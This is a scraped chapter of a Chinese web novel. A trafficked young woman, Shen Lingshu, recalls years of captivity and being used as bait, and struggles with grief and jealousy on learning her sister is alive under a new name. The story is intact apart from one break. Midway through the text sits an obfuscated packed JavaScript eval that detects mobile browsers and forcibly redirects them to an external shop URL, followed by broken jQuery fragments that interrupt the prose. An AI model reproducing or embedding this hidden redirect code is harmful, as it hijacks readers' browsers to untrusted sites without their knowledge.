文趣网 > 其他小说 > 罪臣之女要改朝换代 > 137.海棠无香
    沈令姝回到秦王府偏院时,夜已经深了。

    水榭里的曲声散尽,灯也一盏盏灭下去。远处仍有人笑,有人醉后高声谈军粮,有人夸江南李氏少夫人沉得住气。

    沉得住气。

    沈令姝听见这四个字时,低头笑了一下。

    她也沉得住气。

    她方才唱完那句“月落桥西,海棠未睡”,没有哭,没有冲出去,没有隔着帘子喊阿姐。

    她只是抱着琵琶,坐在那里,像秦王府养的一名寻常女伎。

    可回到屋中,门一合上,她的手就抖了。

    琵琶弦被她按得低低一响。

    她终于确认了。

    李明昭就是沈令仪。

    阿姐还活着。

    这个念头在心里落下时,并没有带来想象中的欢喜。

    先来的,是疼。

    像有人把她这五年里所有没哭出来的眼泪、没喊出口的阿姐、没敢伸出的手,全都揉成一团,塞进胸口。

    她坐在榻边,慢慢卷起左袖。

    腕上那道旧疤还在。

    碎瓷划过的痕迹已经很淡,淡得要凑近灯火才能看清。小时候她总说这道疤像小鱼,沈令仪便低头吹一吹,说小鱼会游走。

    可小鱼没有游走。

    她也没有走回阿姐身边。

    那一夜之后,她被人从江南带走。

    最初,她以为只要哭就会有人心软。

    她哭着喊阿姐,喊母亲,喊父亲,喊到嗓子哑。

    押送她的人嫌烦,一巴掌抽过来。

    “再喊,就把舌头割了。”

    她不信。

    她那时还太小,以为恶话只是吓唬人。

    直到盐路上一个同车的小女孩因为哭得太久,被塞了满口破布,险些闷死,她才知道,哭声在那些人耳朵里不是可怜,是麻烦。

    于是她学会把哭咽回去。

    盐路之后,是教坊。

    教坊不全是唱曲跳舞的地方。

    那里有管事,有牙婆,有内库外坊来挑人的人。有人看脸,有人看嗓子,有人看身段,也有人看她听不听话。

    她起初什么都不会。

    只会坐在角落里发抖。

    有人问她叫什么,她说沈令姝。

    那人笑了一声。

    “沈家还有小姐?”

    第二日,她的名字就没了。

    他们叫她小海棠。

    因为她会唱那句旧曲。

    月落桥西,海棠未睡。

    那原本是母亲教她哄睡的小调。

    后来成了她活命的东西。

    唱得好,能有饭。

    唱错了,便没有。

    再后来,她被送入一处暗院。

    暗院里有许多女孩。

    有的比她大,有的比她小,有的嗓子已经被香熏坏,说话像碎纸刮过墙。她们被教着唱同一句曲子,也被教着喊同一个称呼。

    阿姐。

    起初沈令姝不明白。

    她们为什么要学她喊阿姐?

    后来她明白了。

    因为有人要用这声“阿姐”,去钓沈令仪。

    那一刻,她第一次恨自己还活着。

    她若死了,阿姐便不会因为她被钓。

    可她又怕死。

    她怕死到夜里不敢睡,怕睡着时被人拖走,怕醒来又换一个地方,怕有一天真的听见阿姐来了,却是来送死。

    暗院里的人让她唱,她便唱。

    让她教别的女孩唱,她也教。

    有人学不像,管事会打人。

    她便偷偷告诉那个女孩:“第三字后停一下,尾音不要太软。”

    女孩感激地看她。

    她却转过脸去。

    她不是善良。

    她只是怕那女孩被打死。

    也怕那女孩学得太像。

    像了,阿姐就会来。

    她那时已经知道,通向她的每一条路,都可能是陷阱。

    有一次,暗院里的人把一只旧香囊拿给她看,问是不是沈家的东西。她认得,那不是她的。针脚错了,香料也错了,可外人看不出来。

    她摇头,说不是。

    那人盯着她看了很久。

    “你最好想清楚。”

    她说:“不是。”

    后来那只香囊还是送出去了。

    她被关了一日,没有饭。

    那一日,她靠在墙边,饿得眼前发黑,却忽然懂了一件事。

    她说真话,未必有用。

    可她若不开口,至少能让他们少知道一点。

    于是她学会闭嘴。

    学会在别人说话时低着头听。

    学会记谁手上有疤,谁腰间挂内库牌,谁说到北衙会压低声音,谁每月初七来暗院,谁总把“长安”说成“京里”。

    她没有纸,也不敢留字。

    她只把这些藏在脑子里。

    藏在曲调的停顿里。

    藏在随口哼错的一声尾音里。

    藏在给别的女孩系红绳时,多绕的那一圈里。

    有人利用她,她便在被利用的缝里,藏下一点只有自己懂的东西。

    再后来,她被转了几回。

    春声渡、内库外坊、乐坊暗船、秦王府。

    每换一个地方,她就换一个名字。

    小海棠。

    阿棠。

    棠娘。

    名字换到最后,她几乎忘了被人叫“令姝”是什么感觉。

    秦王府比暗院干净。

    至少屋子不漏风,饭菜也热。

    可这里的人更会说话。

    他们不打她。

    他们让她唱曲,让她听宴,让她辨那些藏在话里的暗语。她听得准,便能留下;听不准,便会被送走。

    送走的人,未必还活着。

    她想活。

    这个念头,曾经让她觉得羞耻。

    沈家女儿,怎么能只想活?

    可她后来不羞耻了。

    死太容易。

    活着才难。

    她活着,才有机会知道阿姐是否还活着。

    也有机会恨她。

    是的。

    她恨过沈令仪。

    这恨最初很小。

    像一根细刺。

    每当暗院里有人逼她喊阿姐,她便想:阿姐为什么不来?

    每当她听见外头有人说沈家大姑娘已经死了,她又想:若你死了,为什么不带我一起?

    后来她听说江南来了一个李氏寡妇。

    有粮,有船,有义仓,有医棚,有女工坊。

    七皇子因她得势,清流因她转向,诸王都在抢她的粮路。

    她起初只觉得可笑。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580042|203631||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这世上的有钱寡妇太多。

    可当她听见那寡妇可能是当年的裴宅奉香女时,心口忽然像被人抓住。

    阿姐活着。

    却不叫沈令仪了。

    她叫李明昭。

    她有李氏身份。

    有要护着的遗孙。

    有一整条江南粮路。

    她坐在帘后,能让诸王等她开口。

    她已经走到了一个沈令姝看不懂的新世界。

    而沈令姝还困在旧曲里。

    困在那句“月落桥西,海棠未睡”里。

    困在一声没有喊出口的阿姐里。

    这嫉妒来得很尖,尖得她自己都厌恶。

    可它真实。

    她在暗院里被人教着做钩子时,阿姐在江南做了白水主人。

    她在秦王府隔着屏风听人说军需时,阿姐在诸王之间谈粮谈船。

    她还记得那只旧布虎,记得沈府上元夜的灯,记得阿姐掌心的温度。

    可阿姐已经护着别人的孩子了。

    李岁安。

    她听过那个名字。

    李氏遗孙。

    阿姐为了他拒了秦王府,换了江南旧仆,断了孩子信路。

    沈令姝听见时,心里忽然冒出一个阴暗的念头。

    若当年被护得这样周密的是她,她是不是就不会走到今日?

    念头一出,她便愣住了。

    随后又笑。

    她怎么会变成这样?

    会嫉妒一个孩子。

    会怨一个活下来的人。

    会在确认阿姐还活着时,第一反应不是扑过去,而是想试她、刺她、看她会不会为自己失态。

    她不再是沈府那个小姑娘了。

    阿姐也不再是从前的阿姐。

    这才是最可怕的。

    她们都活着。

    却都被这五年活成了别的样子。

    沈令姝站起身,走到铜镜前。

    镜中女子眉眼有几分沈夫人的影子,也有几分沈令仪的冷。只是她眼底更暗,唇色更淡,看人时先防备,后才想起该不该笑。

    她伸手摸了摸自己的脸。

    海棠该有香。

    可她没有。

    她身上只有秦王府熏过的冷香、乐坊里染过的脂粉味、暗院里永远散不掉的烈香底子。

    她早就不是那朵被人抱在怀里哄睡的小海棠。

    门外传来小婢声音。

    “棠娘,郭将军问您明日可否去前院听几句话。”

    沈令姝回过神。

    “说我嗓子不适,明日午后再去。”

    “是。”

    小婢走远。

    沈令姝重新坐回榻边,将琵琶抱在怀里。

    她想见李明昭。

    也想躲开她。

    想问她为什么没找到自己。

    又怕她真的回答:我找过,可我还有许多人要护。

    若阿姐这样说,她该怎么办?

    她能恨她吗?

    能。

    可恨完呢?

    她还是想靠近。

    这才最可笑。

    沈令姝垂下眼,轻轻拨了一下弦。

    没有唱出声。

    只在心里把那句旧曲唱完。

    月落桥西,海棠未睡。

    海棠未睡。

    也未归。